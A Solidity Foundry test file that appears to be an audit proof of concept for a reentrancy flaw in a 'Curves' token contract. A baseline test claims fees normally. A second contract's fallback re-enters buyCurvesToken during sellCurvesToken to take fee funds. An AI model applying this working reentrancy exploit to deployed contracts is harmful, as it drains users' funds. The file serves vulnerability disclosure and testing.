Reentrancy Attacker

Attacker.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.7;

import {Test, console2} from "forge-std/Test.sol";
import {Curves} from "contracts/Curves.sol";
import {CurvesERC20Factory} from "contracts/CurvesERC20Factory.sol";
import {FeeSplitter} from "contracts/FeeSplitter.sol";

contract CurvesTest is Test {
    Curves curves;
    FeeSplitter feeRedistributor;

    function setUp() public {
        CurvesERC20Factory curvesERC20Factory = new CurvesERC20Factory();
        feeRedistributor = new FeeSplitter();
        curves = new Curves(address(curvesERC20Factory), address(feeRedistributor));
        feeRedistributor.setCurves(curves);
        // 100%
        curves.setMaxFeePercent(1 ether);
        // 10% 0% 10%
        curves.setExternalFeePercent(0.1 ether, 0, 0.1 ether);
    }

    modifier consoleBalance() {
        uint256 balanceBefore = address(this).balance;
        _;
        uint256 balanceAfter = address(this).balance;
        console2.log(balanceAfter - balanceBefore);
    }
}

contract CurvesTokenSubjectNormalFeeTest is CurvesTest {
    function testCurvesTokenSubjectNormalFee() public consoleBalance {
        curves.buyCurvesTokenWithName(address(this), 1, "", "");

        address user = makeAddr("User");
        uint256 value = curves.getBuyPriceAfterFee(address(this), 1);
        vm.deal(user, value);
        vm.startPrank(user);
        curves.buyCurvesToken{value: value}(address(this), 1);
        vm.stopPrank();

        feeRedistributor.claimFees(address(this));
    }

    receive() external payable {}
}

contract CurvesTokenSubjectStealFeeFundsTest is CurvesTest {
    bool toggle;

    function testCurvesTokenSubjectCanStealFeeFunds() public consoleBalance {
        curves.buyCurvesTokenWithName(address(this), 1, "", "");

        address user = makeAddr("User");
        uint256 value = curves.getBuyPriceAfterFee(address(this), 1);
        vm.deal(user, value);
        vm.startPrank(user);
        curves.buyCurvesToken{value: value}(address(this), 1);
        vm.stopPrank();

        feeRedistributor.claimFees(address(this));
        curves.sellCurvesToken(address(this), 1);
    }

    function toggleFn() external {
        toggle = !toggle;
    }

    fallback() external payable {
        if (!toggle) {
            toggle = true;
            curves.buyCurvesToken{value: curves.getBuyPriceAfterFee(address(this), 1)}(address(this), 1);
        }
    }
}